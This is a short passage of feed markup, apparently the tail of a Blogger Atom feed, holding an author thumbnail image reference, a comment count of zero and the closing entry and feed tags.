rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
